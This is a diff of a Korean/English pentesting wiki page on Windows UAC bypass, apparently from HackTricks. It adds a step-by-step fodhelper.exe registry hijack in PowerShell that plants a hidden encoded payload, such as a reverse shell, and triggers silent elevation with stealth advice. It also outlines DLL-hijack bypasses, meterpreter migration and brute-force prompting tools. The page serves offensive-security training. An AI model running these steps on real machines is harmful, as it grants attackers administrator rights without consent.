|
----- ----- ----- --------
|
||||||
10 0 14393 0
|
10 0 14393 0
|
||||||
```
|
```
|
||||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
Also, [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 페이지를 사용하면 빌드 버전에서 Windows 릴리스 `1607`을 확인할 수 있습니다.
|
||||||
|
|
||||||
#### More UAC bypass
|
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||||
|
|
||||||
**모든** 기술은 AUC를 우회하기 위해 **완전한 대화형 셸**을 **필요로** 합니다 (일반적인 nc.exe 셸은 충분하지 않습니다).
|
신뢰된 바이너리 `fodhelper.exe`는 최신 Windows에서 자동으로 상승됩니다. 실행될 때, 아래의 per-user 레지스트리 경로를 조회하며 `DelegateExecute` verb를 검증하지 않습니다. 그곳에 명령을 심으면 Medium Integrity 프로세스(사용자가 Administrators에 속함)가 UAC 프롬프트 없이 High Integrity 프로세스를 생성할 수 있습니다.
|
||||||
|
|
||||||
**meterpreter** 세션을 사용하여 얻을 수 있습니다. **Session** 값이 **1**인 **프로세스**로 마이그레이션하세요:
|
Registry path queried by fodhelper:
|
||||||
|
```
|
||||||
|
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||||
|
```
|
||||||
|
PowerShell 단계 (payload를 설정한 다음 트리거):
|
||||||
|
```powershell
|
||||||
|
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||||
|
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||||
|
|
||||||
|
# 1) Create the vulnerable key and values
|
||||||
|
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||||
|
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||||
|
|
||||||
|
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||||
|
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||||
|
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||||
|
|
||||||
|
# 3) Trigger auto-elevation
|
||||||
|
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||||
|
|
||||||
|
# 4) (Recommended) Cleanup
|
||||||
|
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||||
|
```
|
||||||
|
Notes:
|
||||||
|
- 현재 사용자가 Administrators 그룹의 멤버이고 UAC 레벨이 기본/완화(default/lenient)인 경우 작동합니다(추가 제한이 있는 Always Notify는 해당되지 않습니다).
|
||||||
|
- 64-bit Windows에서 32-bit 프로세스에서 64-bit PowerShell을 시작하려면 `sysnative` 경로를 사용하세요.
|
||||||
|
- Payload는 PowerShell, cmd 또는 EXE 경로 등 어떤 명령이든 될 수 있습니다. 스텔스를 위해 프롬프트를 띄우는 UI는 피하세요.
|
||||||
|
|
||||||
|
#### 추가 UAC 우회
|
||||||
|
|
||||||
|
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||||
|
|
||||||
|
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
(_explorer.exe_는 작동해야 합니다)
|
(_explorer.exe_ should works)
|
||||||
|
|
||||||
### UAC Bypass with GUI
|
### GUI를 통한 UAC 우회
|
||||||
|
|
||||||
**GUI에 접근할 수 있다면 UAC 프롬프트가 나타날 때 그냥 수락하면 됩니다**, 우회할 필요가 없습니다. 따라서 GUI에 접근하면 UAC를 우회할 수 있습니다.
|
GUI에 접근할 수 있다면 UAC 프롬프트가 뜰 때 단순히 수락하면 되므로 실제로 우회가 필요하지 않습니다. 따라서 GUI 접근을 얻으면 UAC를 우회할 수 있습니다.
|
||||||
|
|
||||||
게다가, 누군가가 사용 중인 GUI 세션을 얻으면 (잠재적으로 RDP를 통해) **관리자로 실행되는 몇 가지 도구가 있을 수 있습니다**. 여기서 **cmd**를 예를 들어 **관리자**로 직접 실행할 수 있습니다. UAC에 의해 다시 프롬프트되지 않습니다, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)와 같은 도구를 사용할 수 있습니다. 이는 좀 더 **은밀할 수 있습니다**.
|
게다가, 누군가 사용 중이던 GUI 세션(예: RDP)을 획득하면, 관리자 권한으로 실행 중인 일부 도구들이 있어서 그 도구들로부터 예를 들어 **cmd**를 **as admin**으로 직접 실행할 수 있어 UAC에서 다시 프롬프트가 뜨지 않습니다. 이 방법이 약간 더 **stealthy**할 수 있습니다. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)
|
||||||
|
|
||||||
### Noisy brute-force UAC bypass
|
### 시끄러운 브루트포스 UAC 우회
|
||||||
|
|
||||||
소음이 신경 쓰이지 않는다면 항상 **다음과 같은 것을 실행할 수 있습니다**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 이 도구는 **사용자가 수락할 때까지 권한 상승을 요청합니다**.
|
시끄러움을 신경 쓰지 않는다면 **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 를 실행해 사용자가 수락할 때까지 권한 상승을 요청할 수 있습니다.
|
||||||
|
|
||||||
### Your own bypass - Basic UAC bypass methodology
|
### 자체 우회 방법 - 기본 UAC 우회 방법론
|
||||||
|
|
||||||
**UACME**를 살펴보면 **대부분의 UAC 우회는 Dll Hijacking 취약점을 악용합니다** (주로 악성 dll을 _C:\Windows\System32_에 작성하는 방식). [Dll Hijacking 취약점을 찾는 방법을 배우려면 여기를 읽으세요](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||||
|
|
||||||
1. **자동 상승**하는 이진 파일을 찾습니다 (실행 시 높은 무결성 수준에서 실행되는지 확인).
|
1. 취약한 **autoelevate** 바이너리를 찾으세요(실행 시 높은 integrity level로 동작하는지 확인).
|
||||||
2. procmon을 사용하여 **"NAME NOT FOUND"** 이벤트를 찾아 **DLL Hijacking**에 취약할 수 있는지 확인합니다.
|
2. procmon으로 **"NAME NOT FOUND"** 이벤트를 찾아 **DLL Hijacking**에 취약한 부분을 확인하세요.
|
||||||
3. 아마도 **쓰기 권한이 없는** 일부 **보호된 경로** (예: C:\Windows\System32) 내에 DLL을 **작성**해야 할 것입니다. 이를 우회하는 방법은 다음과 같습니다:
|
3. 악성 DLL을 _C:\Windows\System32_ 같은 쓰기 권한이 없는 **protected paths**에 **write**해야 할 수도 있습니다. 이를 우회하기 위해 다음을 사용할 수 있습니다:
|
||||||
1. **wusa.exe**: Windows 7, 8 및 8.1. CAB 파일의 내용을 보호된 경로 내에 추출할 수 있습니다 (이 도구는 높은 무결성 수준에서 실행되기 때문입니다).
|
1. **wusa.exe**: Windows 7,8 and 8.1. 이 도구는 높은 integrity level에서 실행되기 때문에 CAB 파일의 내용을 protected paths에 추출할 수 있게 합니다.
|
||||||
2. **IFileOperation**: Windows 10.
|
2. **IFileOperation**: Windows 10.
|
||||||
4. 보호된 경로 내에 DLL을 복사하고 취약하고 자동 상승된 이진 파일을 실행하는 **스크립트**를 준비합니다.
|
4. DLL을 protected path로 복사하고 취약하고 autoelevated된 바이너리를 실행하는 **script**를 준비하세요.
|
||||||
|
|
||||||
### Another UAC bypass technique
|
### 또 다른 UAC 우회 기법
|
||||||
|
|
||||||
**자동 상승된 이진 파일**이 **레지스트리**에서 **이진 파일** 또는 **명령**의 **이름/경로**를 **읽으려** 하는지 감시하는 것입니다 (이진 파일이 **HKCU** 내에서 이 정보를 검색하는 경우 더 흥미롭습니다).
|
이는 **autoElevated binary**가 **registry**에서 실행할 **binary** 또는 **command**의 **name/path**를 **read**하려 하는지 감시하는 방식입니다(해당 바이너리가 이 정보를 **HKCU**에서 찾는 경우 더 흥미롭습니다).
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||||
|
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||||
|
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||||
|
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user